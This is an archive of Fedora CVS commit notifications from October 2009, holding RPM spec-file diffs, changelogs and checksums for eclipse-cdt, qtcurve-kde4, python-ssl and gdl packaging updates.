diff -u -p -r1.135 -r1.136
--- eclipse-cdt.spec	14 Oct 2009 19:34:06 -0000	1.135
+++ eclipse-cdt.spec	15 Oct 2009 20:05:35 -0000	1.136
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        2%{?dist}
+Release:        3%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -164,12 +164,6 @@ Test suite for Eclipse C/C++ Development
 
 pushd "org.eclipse.cdt.releng"
 
-# Remove lpg-using lrparser feature
-#sed -i "36,39d" results/features/org.eclipse.cdt.master/feature.xml
-
-# Remove lrparser plugin
-#rm -rf results/plugins/org.eclipse.cdt.core.lrparser
-
 # Following patches a C file to remove reference to stropts.h which is
 # not needed and is missing in latest glibc
 pushd results/plugins/org.eclipse.cdt.core.linux/library
@@ -278,7 +272,6 @@ export PATH=%{java_bin}:/usr/bin:$PATH
 # See comments in the script to understand this.
 /bin/sh -x %{eclipse_base}/buildscripts/copy-platform SDK \
   %{eclipse_base} mylyn xmlrpc codec httpclient lang rse
-# CDT parsers expect to find lpgjavaruntime jar as net.sourceforge jar
 ln -s %{_javadir}/lpgjavaruntime-1.1.0.jar SDK/plugins/net.sourceforge.lpg.lpgjavaruntime_1.1.0.jar
 SDK=$(cd SDK >/dev/null && pwd)
 
@@ -432,6 +425,9 @@ mv $installDir/eclipse/features/*lrparse
 mv $installDir/eclipse/plugins/*lrparser* $parsersInstallDir/eclipse/plugins
 mv $installDir/eclipse/features/*upc* $parsersInstallDir/eclipse/features
 mv $installDir/eclipse/plugins/*upc* $parsersInstallDir/eclipse/plugins
+pushd $parsersInstallDir/eclipse/plugins
+ln -s ../../../../../../share/java/lpgjavaruntime.jar net.sourceforge.lpg.lpgjavaruntime_1.1.0.jar
+popd
 
 mkdir -p $sdkInstallDir/eclipse/features $sdkInstallDir/eclipse/plugins
 mv $installDir/eclipse/features/*source* $sdkInstallDir/eclipse/features
@@ -443,6 +439,7 @@ mv $installDir/eclipse/plugins/*sdk* $sd
 rm -rf $installDir/eclipse/features/org.eclipse.cdt.master_*
 rm -rf $installDir/eclipse/plugins/org.eclipse.ant.optional.junit_*
 rm -rf $installDir/eclipse/plugins/org.eclipse.test_*
+rm -rf $installDir/eclipse/plugins/net.sourceforge.*
 
 ## Cppunit install
 #pushd cppunit
@@ -602,6 +599,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Thu Oct 15 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-3
+- Include installed link for lpg java bundle in new cdt-parsers subpackage.
+
 * Wed Oct 14 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-2
 - Ship new parsers sub-package which includes xlc, upc, and lrparser plug-ins.
 - Require lpg-java-compat for build.



From thomasj at fedoraproject.org  Thu Oct 15 20:06:10 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 15 Oct 2009 20:06:10 +0000 (UTC)
Subject: rpms/qtcurve-kde4/F-12 import.log, NONE, 1.1 qtcurve-kde4.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015200610.A618B11C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/qtcurve-kde4/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2979/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qtcurve-kde4.spec 
Log Message:
* Mon Oct 12 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated to source version 0.69.0
- Made the QtCurve dir owned
- Removed unneeded scriptlets (no shlibs)
- Dropped unneeded BR
- Notified upstream about the borked windeco
- sed cleanup

* Sun Oct 04 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-3
- Added build comment
- Better use of name macro

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-2
- Changed to lowercase name for sanity

* Fri Sep 25 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial Release 0.68.1-1



--- NEW FILE import.log ---
qtcurve-kde4-0_69_0-1_fc10:F-12:qtcurve-kde4-0.69.0-1.fc10.src.rpm:1255637085


--- NEW FILE qtcurve-kde4.spec ---
Name:		qtcurve-kde4
Version:	0.69.0
Release:	1%{?dist}
Summary:	This is a set of widget styles for Qt4/KDE4 based apps

Group:		User Interface/Desktops
License:	GPLv2+
URL:		http://www.kde-look.org/content/show.php?content=40492
Source0:	http://home.freeuk.com/cpdrummond/QtCurve-KDE4-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	kdebase-workspace-devel
BuildRequires:	gettext

Requires:	kdebase-workspace

%global kde4_version %((kde4-config --version 2>/dev/null || echo "KDE 4.3.0") | grep ^KDE | cut -d' ' -f2)

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
QtCurve is a desktop theme for the GTK+ and Qt widget toolkits,
allowing users to achieve a uniform look between these widget toolkits.

%prep
%setup -q -n QtCurve-KDE4-0.69.0
## Due to the name change this sed is needed for find-lang.
sed -i 's,set(catalogname qtcurve),set(catalogname qtcurve-kde4),g' po/CMakeLists.txt

%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
## Build qtcurve-kde4 with xbar support
%{cmake_kde4} .. -DQTC_XBAR_SUPPORT=true
popd

make %{?_smp_mflags} -C %{_target_platform}

%install
rm -rf %{buildroot}
make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
%find_lang %{name}

%clean
rm -rf %{buildroot}

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS README TODO COPYING ChangeLog
%{_kde4_appsdir}/QtCurve/
%{_kde4_appsdir}/color-schemes/QtCurve.colors
%{_kde4_appsdir}/kstyle/themes/qtc_klearlooks.themerc
%{_kde4_appsdir}/kstyle/themes/qtcurve.themerc
## No GUI .desktop file
%{_kde4_appsdir}/kwin/*.desktop
%{_kde4_libdir}/kde4/kstyle_qtcurve_config.so
%{_kde4_libdir}/kde4/kwin3_qtcurve.so
%{_kde4_libdir}/kde4/kwin_qtcurve_config.so
%{_kde4_libdir}/kde4/plugins/styles/qtcurve.so


%changelog
* Mon Oct 12 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated to source version 0.69.0
- Made the QtCurve dir owned
- Removed unneeded scriptlets (no shlibs)
- Dropped unneeded BR
- Notified upstream about the borked windeco
- sed cleanup

* Sun Oct 04 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-3
- Added build comment
- Better use of name macro

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-2
- Changed to lowercase name for sanity

* Fri Sep 25 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial Release 0.68.1-1

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-kde4/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:28:11 -0000	1.1
+++ .cvsignore	15 Oct 2009 20:06:10 -0000	1.2
@@ -0,0 +1 @@
+QtCurve-KDE4-0.69.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-kde4/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:28:11 -0000	1.1
+++ sources	15 Oct 2009 20:06:10 -0000	1.2
@@ -0,0 +1 @@
+2b47051ddc0fb6cccd9473f4717a4b44  QtCurve-KDE4-0.69.0.tar.bz2



From jjohnstn at fedoraproject.org  Thu Oct 15 20:07:04 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Thu, 15 Oct 2009 20:07:04 +0000 (UTC)
Subject: rpms/eclipse-cdt/devel eclipse-cdt.spec,1.136,1.137
Message-ID: <20091015200704.F183911C00DB@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3310

Modified Files:
	eclipse-cdt.spec 
Log Message:

* Thu Oct 15 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-3
- Include installed link for lpg java bundle in new cdt-parsers subpackage.





Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/eclipse-cdt.spec,v
retrieving revision 1.136
retrieving revision 1.137
diff -u -p -r1.136 -r1.137
--- eclipse-cdt.spec	14 Oct 2009 19:35:30 -0000	1.136
+++ eclipse-cdt.spec	15 Oct 2009 20:07:04 -0000	1.137
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        2%{?dist}
+Release:        3%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -164,12 +164,6 @@ Test suite for Eclipse C/C++ Development
 
 pushd "org.eclipse.cdt.releng"
 
-# Remove lpg-using lrparser feature
-#sed -i "36,39d" results/features/org.eclipse.cdt.master/feature.xml
-
-# Remove lrparser plugin
-#rm -rf results/plugins/org.eclipse.cdt.core.lrparser
-
 # Following patches a C file to remove reference to stropts.h which is
 # not needed and is missing in latest glibc
 pushd results/plugins/org.eclipse.cdt.core.linux/library
@@ -278,7 +272,6 @@ export PATH=%{java_bin}:/usr/bin:$PATH
 # See comments in the script to understand this.
 /bin/sh -x %{eclipse_base}/buildscripts/copy-platform SDK \
   %{eclipse_base} mylyn xmlrpc codec httpclient lang rse
-# CDT parsers expect to find lpgjavaruntime jar as net.sourceforge jar
 ln -s %{_javadir}/lpgjavaruntime-1.1.0.jar SDK/plugins/net.sourceforge.lpg.lpgjavaruntime_1.1.0.jar
 SDK=$(cd SDK >/dev/null && pwd)
 
@@ -432,6 +425,9 @@ mv $installDir/eclipse/features/*lrparse
 mv $installDir/eclipse/plugins/*lrparser* $parsersInstallDir/eclipse/plugins
 mv $installDir/eclipse/features/*upc* $parsersInstallDir/eclipse/features
 mv $installDir/eclipse/plugins/*upc* $parsersInstallDir/eclipse/plugins
+pushd $parsersInstallDir/eclipse/plugins
+ln -s ../../../../../../share/java/lpgjavaruntime.jar net.sourceforge.lpg.lpgjavaruntime_1.1.0.jar
+popd
 
 mkdir -p $sdkInstallDir/eclipse/features $sdkInstallDir/eclipse/plugins
 mv $installDir/eclipse/features/*source* $sdkInstallDir/eclipse/features
@@ -443,6 +439,7 @@ mv $installDir/eclipse/plugins/*sdk* $sd
 rm -rf $installDir/eclipse/features/org.eclipse.cdt.master_*
 rm -rf $installDir/eclipse/plugins/org.eclipse.ant.optional.junit_*
 rm -rf $installDir/eclipse/plugins/org.eclipse.test_*
+rm -rf $installDir/eclipse/plugins/net.sourceforge.*
 
 ## Cppunit install
 #pushd cppunit
@@ -602,6 +599,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Thu Oct 15 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-3
+- Include installed link for lpg java bundle in new cdt-parsers subpackage.
+
 * Wed Oct 14 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-2
 - Ship new parsers sub-package which includes xlc, upc, and lrparser plug-ins.
 - Require lpg-java-compat for build.



From stevetraylen at fedoraproject.org  Thu Oct 15 20:07:14 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Thu, 15 Oct 2009 20:07:14 +0000 (UTC)
Subject: rpms/python-ssl/EL-5 README.ssl, NONE, 1.1 python-ssl-64bit.patch, 
	NONE, 1.1 python-ssl.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091015200714.4E3CC11C00DB@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/python-ssl/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3276

Modified Files:
	sources 
Added Files:
	README.ssl python-ssl-64bit.patch python-ssl.spec 
Log Message:
First version: rhbz#527049



--- NEW FILE README.ssl ---
SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

The old socket.ssl() support for TLS over sockets is being superseded in 
Python 2.6 by a new 'ssl' module. This package brings that module to 
older Python releases, 2.3.5 and up (it may also work on older versions 
of 2.3, but we haven't tried it).

It's quite similar to the 2.6 ssl module. There's no stand-alone 
documentation for this package; instead, just use the development branch 
documentation for the SSL module at 
http://docs.python.org/dev/library/ssl.html.

Version 1.0 had a problem with Python 2.5.1 -- the structure of the 
socket object changed from earlier versions.

Version 1.1 was missing various package metadata information.

Version 1.2 added more package metadata, and support for 
ssl.get_server_certificate(), and the PEM-to-DER encode/decode routines. 
Plus integrated Paul Moore's patch to setup.py for Windows. 
Plus added support for asyncore, and asyncore HTTPS server test.

Version 1.3 fixed a bug in the test suite.

Version 1.4 incorporated use of -static switch.

Version 1.5 fixed bug in Python version check affecting build on 
Python 2.5.0.

Version 1.7 (and 1.6) fixed some bugs with asyncore support 
(recv and send not being called on the SSLSocket class, wrong semantics 
for sendall).

Version 1.8 incorporated some code from Chris Stawarz to handle 
sockets which are set to non-blocking before negotiating the SSL session.

Version 1.9 makes ssl.SSLError a subtype of socket.error.

Version 1.10 fixes a bug in sendall().

Version 1.11 includes the MANIFEST file, and by default will turne 
unexpected EOFs occurring during a read into a regular EOF. It also 
removes the code for SSLFileStream, to use the regular socket 
module's _fileobject instead.

Version 1.12 fixes the bug in SSLSocket.accept() reported by 
Georg Brandl, and adds a test case for that fix.

Version 1.13 fixes a bug in calling do_handshake() automatically 
on non-blocking sockets. Thanks to Giampaolo Rodola. Now 
includes real asyncore test case.

Version 1.14 incorporates some fixes to naming (rename "recv_from" 
to "recvfrom" and "send_to" to "sendto"), and a fix to the 
asyncore test case to unregister the connection handler when the 
connection is closed. It also exposes the SSL shutdown via the 
"unwrap" method on an SSLSocket. It exposes "subjectPublicKey" 
in the data received from a peer cert.

Version 1.15 fixes a bug in write retries, where the output 
buffer has changed location because of garbage collection during the 
interim. It also provides the new flag, PROTOCOL_NOSSLv2, which 
selects SSL23, but disallows actual use of SSL2.

Authorship: A cast of dozens over the years have written the Python 
SSL support, including Marc-Alan Lemburg, Robin Dunn, GvR, Kalle Svensson,
Skip Montanaro, Mark Hammond, Martin von Loewis, Jeremy Hylton,
Andrew Kuchling, Georg Brandl, Bill Janssen, Chris Stawarz,
Neal Norwitz, and many others. Thanks to Paul Moore, David Bolen 
and Mark Hammond for help with the Windows side of the house. And 
it's all based on OpenSSL, which has its own cast of dozens!


python-ssl-64bit.patch:
 setup.py |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE python-ssl-64bit.patch ---
diff -uNr ssl-1.15.ORIG/setup.py ssl-1.15/setup.py
--- ssl-1.15.ORIG/setup.py	2009-10-02 20:02:10.864763790 +0200
+++ ssl-1.15/setup.py	2009-10-03 09:00:06.541685860 +0200
@@ -131,7 +131,8 @@
 
     ssl_libs = find_library_file(compiler, 'ssl',
                                  ['/usr/lib'],
-                                 ['/usr/local/lib',
+                                 ['/usr/lib64',
+                                  '/usr/local/lib',
                                   '/usr/local/ssl/lib',
                                   '/usr/contrib/ssl/lib/'
                                  ] )


--- NEW FILE python-ssl.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}

Name:           python-ssl
Version:        1.15
Release:        3%{?dist}
Summary:        SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

Group:          Development/Libraries
License:        Python
URL:            http://pypi.python.org/pypi/ssl
Source0:        http://pypi.python.org/packages/source/s/ssl/ssl-%{version}.tar.gz
Source1:        README.ssl
Patch0:         %{name}-64bit.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

# This package is never needed for python 2.6 since
# ssl module is already present.
Requires: python < 2.6
BuildRequires:  python-devel < 2.6
BuildRequires:  openssl-devel

%description
SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

The old socket.ssl() support for TLS over sockets is being superseded in 
Python 2.6 by a new 'ssl' module.  This package brings that module to older 
Python releases.

%prep
%setup -q -n ssl-%{version}
%patch0 -p1
cp -p %{SOURCE1} README


%build
CFLAGS="$RPM_OPT_FLAGS" %{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitearch}/ssl/_ssl2.so
rm -rf $RPM_BUILD_ROOT%{python_sitearch}/../test
 
%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README
%{python_sitearch}/*

%changelog
* Thu Oct 15 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-3
- Release bump due to my error.
* Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-2
- Add -p to cp to preserve timestamps.
* Fri Oct 2 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-1
- First Build




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-ssl/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:19:56 -0000	1.1
+++ sources	15 Oct 2009 20:07:14 -0000	1.2
@@ -0,0 +1 @@
+81ea8a1175e437b4c769ae65b3290e0c  ssl-1.15.tar.gz



From thomasj at fedoraproject.org  Thu Oct 15 20:07:26 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 15 Oct 2009 20:07:26 +0000 (UTC)
Subject: rpms/qtcurve-kde4/F-11 import.log, NONE, 1.1 qtcurve-kde4.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015200726.8D48811C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/qtcurve-kde4/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3374/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qtcurve-kde4.spec 
Log Message:
* Mon Oct 12 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated to source version 0.69.0
- Made the QtCurve dir owned
- Removed unneeded scriptlets (no shlibs)
- Dropped unneeded BR
- Notified upstream about the borked windeco
- sed cleanup

* Sun Oct 04 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-3
- Added build comment
- Better use of name macro

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-2
- Changed to lowercase name for sanity

* Fri Sep 25 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial Release 0.68.1-1



--- NEW FILE import.log ---
qtcurve-kde4-0_69_0-1_fc10:F-11:qtcurve-kde4-0.69.0-1.fc10.src.rpm:1255637213


--- NEW FILE qtcurve-kde4.spec ---
Name:		qtcurve-kde4
Version:	0.69.0
Release:	1%{?dist}
Summary:	This is a set of widget styles for Qt4/KDE4 based apps

Group:		User Interface/Desktops
License:	GPLv2+
URL:		http://www.kde-look.org/content/show.php?content=40492
Source0:	http://home.freeuk.com/cpdrummond/QtCurve-KDE4-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	kdebase-workspace-devel
BuildRequires:	gettext

Requires:	kdebase-workspace

%global kde4_version %((kde4-config --version 2>/dev/null || echo "KDE 4.3.0") | grep ^KDE | cut -d' ' -f2)

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
QtCurve is a desktop theme for the GTK+ and Qt widget toolkits,
allowing users to achieve a uniform look between these widget toolkits.

%prep
%setup -q -n QtCurve-KDE4-0.69.0
## Due to the name change this sed is needed for find-lang.
sed -i 's,set(catalogname qtcurve),set(catalogname qtcurve-kde4),g' po/CMakeLists.txt

%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
## Build qtcurve-kde4 with xbar support
%{cmake_kde4} .. -DQTC_XBAR_SUPPORT=true
popd

make %{?_smp_mflags} -C %{_target_platform}

%install
rm -rf %{buildroot}
make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
%find_lang %{name}

%clean
rm -rf %{buildroot}

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS README TODO COPYING ChangeLog
%{_kde4_appsdir}/QtCurve/
%{_kde4_appsdir}/color-schemes/QtCurve.colors
%{_kde4_appsdir}/kstyle/themes/qtc_klearlooks.themerc
%{_kde4_appsdir}/kstyle/themes/qtcurve.themerc
## No GUI .desktop file
%{_kde4_appsdir}/kwin/*.desktop
%{_kde4_libdir}/kde4/kstyle_qtcurve_config.so
%{_kde4_libdir}/kde4/kwin3_qtcurve.so
%{_kde4_libdir}/kde4/kwin_qtcurve_config.so
%{_kde4_libdir}/kde4/plugins/styles/qtcurve.so


%changelog
* Mon Oct 12 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated to source version 0.69.0
- Made the QtCurve dir owned
- Removed unneeded scriptlets (no shlibs)
- Dropped unneeded BR
- Notified upstream about the borked windeco
- sed cleanup

* Sun Oct 04 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-3
- Added build comment
- Better use of name macro

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-2
- Changed to lowercase name for sanity

* Fri Sep 25 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial Release 0.68.1-1

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-kde4/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:28:11 -0000	1.1
+++ .cvsignore	15 Oct 2009 20:07:26 -0000	1.2
@@ -0,0 +1 @@
+QtCurve-KDE4-0.69.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-kde4/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:28:11 -0000	1.1
+++ sources	15 Oct 2009 20:07:26 -0000	1.2
@@ -0,0 +1 @@
+2b47051ddc0fb6cccd9473f4717a4b44  QtCurve-KDE4-0.69.0.tar.bz2



From thomasj at fedoraproject.org  Thu Oct 15 20:08:42 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 15 Oct 2009 20:08:42 +0000 (UTC)
Subject: rpms/qtcurve-kde4/F-10 import.log, NONE, 1.1 qtcurve-kde4.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015200842.02CD411C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/qtcurve-kde4/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3781/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qtcurve-kde4.spec 
Log Message:
* Mon Oct 12 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated to source version 0.69.0
- Made the QtCurve dir owned
- Removed unneeded scriptlets (no shlibs)
- Dropped unneeded BR
- Notified upstream about the borked windeco
- sed cleanup

* Sun Oct 04 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-3
- Added build comment
- Better use of name macro

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-2
- Changed to lowercase name for sanity

* Fri Sep 25 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial Release 0.68.1-1



--- NEW FILE import.log ---
qtcurve-kde4-0_69_0-1_fc10:F-10:qtcurve-kde4-0.69.0-1.fc10.src.rpm:1255637287


--- NEW FILE qtcurve-kde4.spec ---
Name:		qtcurve-kde4
Version:	0.69.0
Release:	1%{?dist}
Summary:	This is a set of widget styles for Qt4/KDE4 based apps

Group:		User Interface/Desktops
License:	GPLv2+
URL:		http://www.kde-look.org/content/show.php?content=40492
Source0:	http://home.freeuk.com/cpdrummond/QtCurve-KDE4-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	kdebase-workspace-devel
BuildRequires:	gettext

Requires:	kdebase-workspace

%global kde4_version %((kde4-config --version 2>/dev/null || echo "KDE 4.3.0") | grep ^KDE | cut -d' ' -f2)

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
QtCurve is a desktop theme for the GTK+ and Qt widget toolkits,
allowing users to achieve a uniform look between these widget toolkits.

%prep
%setup -q -n QtCurve-KDE4-0.69.0
## Due to the name change this sed is needed for find-lang.
sed -i 's,set(catalogname qtcurve),set(catalogname qtcurve-kde4),g' po/CMakeLists.txt

%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
## Build qtcurve-kde4 with xbar support
%{cmake_kde4} .. -DQTC_XBAR_SUPPORT=true
popd

make %{?_smp_mflags} -C %{_target_platform}

%install
rm -rf %{buildroot}
make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
%find_lang %{name}

%clean
rm -rf %{buildroot}

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS README TODO COPYING ChangeLog
%{_kde4_appsdir}/QtCurve/
%{_kde4_appsdir}/color-schemes/QtCurve.colors
%{_kde4_appsdir}/kstyle/themes/qtc_klearlooks.themerc
%{_kde4_appsdir}/kstyle/themes/qtcurve.themerc
## No GUI .desktop file
%{_kde4_appsdir}/kwin/*.desktop
%{_kde4_libdir}/kde4/kstyle_qtcurve_config.so
%{_kde4_libdir}/kde4/kwin3_qtcurve.so
%{_kde4_libdir}/kde4/kwin_qtcurve_config.so
%{_kde4_libdir}/kde4/plugins/styles/qtcurve.so


%changelog
* Mon Oct 12 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated to source version 0.69.0
- Made the QtCurve dir owned
- Removed unneeded scriptlets (no shlibs)
- Dropped unneeded BR
- Notified upstream about the borked windeco
- sed cleanup

* Sun Oct 04 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-3
- Added build comment
- Better use of name macro

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-2
- Changed to lowercase name for sanity

* Fri Sep 25 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial Release 0.68.1-1

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-kde4/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:28:11 -0000	1.1
+++ .cvsignore	15 Oct 2009 20:08:41 -0000	1.2
@@ -0,0 +1 @@
+QtCurve-KDE4-0.69.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-kde4/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:28:11 -0000	1.1
+++ sources	15 Oct 2009 20:08:41 -0000	1.2
@@ -0,0 +1 @@
+2b47051ddc0fb6cccd9473f4717a4b44  QtCurve-KDE4-0.69.0.tar.bz2



From orion at fedoraproject.org  Thu Oct 15 20:13:46 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 15 Oct 2009 20:13:46 +0000 (UTC)
Subject: rpms/gdl/devel gdl.spec,1.49,1.50 gdl-0.9rc1-gcc43.patch,1.2,NONE
Message-ID: <20091015201346.9AF2E11C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gdl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4629

Modified Files:
	gdl.spec 
Removed Files:
	gdl-0.9rc1-gcc43.patch 
Log Message:
Drop gcc43 patch



Index: gdl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/devel/gdl.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- gdl.spec	15 Oct 2009 18:00:52 -0000	1.49
+++ gdl.spec	15 Oct 2009 20:13:46 -0000	1.50
@@ -14,7 +14,6 @@ Source0:        http://downloads.sourcef
 Source1:        gdl.csh
 Source2:        gdl.sh
 Source3:        makecvstarball
-Patch2:         gdl-0.9rc1-gcc43.patch
 # Build with system antlr library.  Request for upstream change here:
 # https://sourceforge.net/tracker/index.php?func=detail&aid=2685215&group_id=97659&atid=618686
 Patch3:         gdl-0.9rc3-antlr.patch
@@ -60,7 +59,6 @@ Common files for GDL
 
 %prep
 %setup -q -n %{name}-%{version}rc3
-%patch2 -p1 -b .gcc43
 %if !0%{?rhel}
 %patch3 -p1 -b .antlr
 %patch4 -p1 -b .antlr-auto
@@ -119,7 +117,7 @@ rm -rf $RPM_BUILD_ROOT
 %changelog
 * Thu Oct 15 2009 - Orion Poplawski <orion at cora.nwra.com> - 0.9-0.7.rc3
 - Update to 0.9rc3
-- Drop ppc64, friend patches fixed upstream
+- Drop gcc43, ppc64, friend patches fixed upstream
 - Add source for makecvstarball
 - Rebase antlr patch, add automake source version
 - Add conditionals for EPEL builds


--- gdl-0.9rc1-gcc43.patch DELETED ---



From orion at fedoraproject.org  Thu Oct 15 20:17:01 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 15 Oct 2009 20:17:01 +0000 (UTC)
